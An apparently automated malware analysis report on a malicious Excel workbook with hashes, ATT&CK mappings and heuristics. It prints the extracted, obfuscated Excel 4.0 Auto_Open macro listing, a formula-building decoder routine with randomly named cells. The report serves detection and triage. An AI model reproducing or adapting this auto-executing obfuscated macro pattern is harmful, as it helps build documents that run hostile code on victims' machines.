Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 161b6bc265fba10c…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:45:17 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 65fff551a4d622c8c85067a8c903d46b SHA-1: 4bfbc9fa21a3f3183ac0857201f1a3de23e0f41f SHA-256: 161b6bc265fba10c7e981e23bbf36d1ff49e87cf153dd7553809116021bf4f0f
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an Excel file containing Excel 4.0 macros, specifically an Auto_Open macro. This macro utilizes dangerous formula APIs, indicating an intent to execute arbitrary code. The obfuscated nature of the macro names and the presence of a defined name for Auto_Open suggest a deliberate attempt to conceal malicious activity.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6417 bytes
SHA-256: 6352796688ce114aee7f9d7e7caa7b2a5e121a8d55f8346758092182d318dd7a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
19 of 37 identifiers look randomly generated (e.g. 'ybfvnBRQGuhB') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  mdJY
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A193 
' 0018     23 LABEL : Cell Value, String Constant - aVGgceOZ len=0 
' 0018     24 LABEL : Cell Value, String Constant - bsDllhjOi len=0 
' 0018     23 LABEL : Cell Value, String Constant - CHMNuPmO len=0 
' 0018     21 LABEL : Cell Value, String Constant - CRVGht len=0 
' 0018     22 LABEL : Cell Value, String Constant - HxYTpJZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - HysNsrcBJK len=0 
' 0018     24 LABEL : Cell Value, String Constant - ihJciQZdz len=0 
' 0018     27 LABEL : Cell Value, String Constant - jceqGfehmXvJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - KhRxditEX len=0 
' 0018     26 LABEL : Cell Value, String Constant - mLrRMKFUqYt len=0 
' 0018     21 LABEL : Cell Value, String Constant - nRmRpe len=0 
' 0018     23 LABEL : Cell Value, String Constant - RBoMHwDk len=0 
' 0018     24 LABEL : Cell Value, String Constant - rxELSzWyE len=0 
' 0018     27 LABEL : Cell Value, String Constant - rZbmeqzhmdUS len=0 
' 0018     20 LABEL : Cell Value, String Constant - TNICf len=0 
' 0018     24 LABEL : Cell Value, String Constant - UbwkkgXOF len=0 
' 0018     20 LABEL : Cell Value, String Constant - xxsiD len=0 
' 0018     27 LABEL : Cell Value, String Constant - ybfvnBRQGuhB len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZOcVqks len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZwPzL len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  mdJY,A94,"SET.NAME("ybfvnBRQGuhB",VALUE("0"))",""
'  mdJY,A99,"SET.NAME("aVGgceOZ",ybfvnBRQGuhB)",""
'  mdJY,A104,"SET.NAME("CRVGht",ybfvnBRQGuhB)",""
'  mdJY,A109,"SET.NAME("TNICf",COUNTA(KhRxditEX))",""
'  mdJY,A112,"SET.NAME("CHMNuPmO",COUNTA(RBoMHwDk))",""
'  mdJY,A115,[],""
'  mdJY,A117,"SET.NAME("HxYTpJZ","")",""
'  mdJY,A121,"aVGgceOZ",""
'  mdJY,A126,"SET.NAME("rxELSzWyE",HLOOKUP("*",KhRxditEX,aVGgceOZ,FALSE))",""
'  mdJY,A131,"xxsiD",""
'  mdJY,A134,"SET.NAME("HysNsrcBJK",ybfvnBRQGuhB)",""
'  mdJY,A139,[],""
'  mdJY,A144,"HysNsrcBJK",""
'  mdJY,A148,"ZOcVqks",""
'  mdJY,A153,"bsDllhjOi",""
'  mdJY,A155,"UbwkkgXOF",""
'  mdJY,A158,"SET.NAME("rZbmeqzhmdUS",VALUE(HLOOKUP("*",RBoMHwDk,UbwkkgXOF,FALSE)))",""
'  mdJY,A161,"ihJciQZdz",""
'  mdJY,A164,"HxYTpJZ",""
'  mdJY,A168,"CRVGht",""
'  mdJY,A170,NEXT(),""
'  mdJY,A175,"nRmRpe",""
'  mdJY,A179,"SET.NAME("f",INT(T(FORMULA(T(HxYTpJZ)&"",""&T(nRmRpe)))))",""
'  mdJY,A183,"mLrRMKFUqYt",""
'  mdJY,A187,NEXT(),""
'  mdJY,A189,RETURN(),""
'  mdJY,A217,"SET.NAME("jceqGfehmXvJ",A94)",""
'  mdJY,A219,"KhRxditEX",""
'  mdJY,A221,"SET.NAME("RBoMHwDk",R80C11)",""
'  mdJY,A226,"SET.NAME("mLrRMKFUqYt",235)",""
'  mdJY,A231,"SET.NAME("ZwPzL",1)",""
'  mdJY,A234,jceqGfehmXvJ(),""
'  mdJY,A235,HALT(),""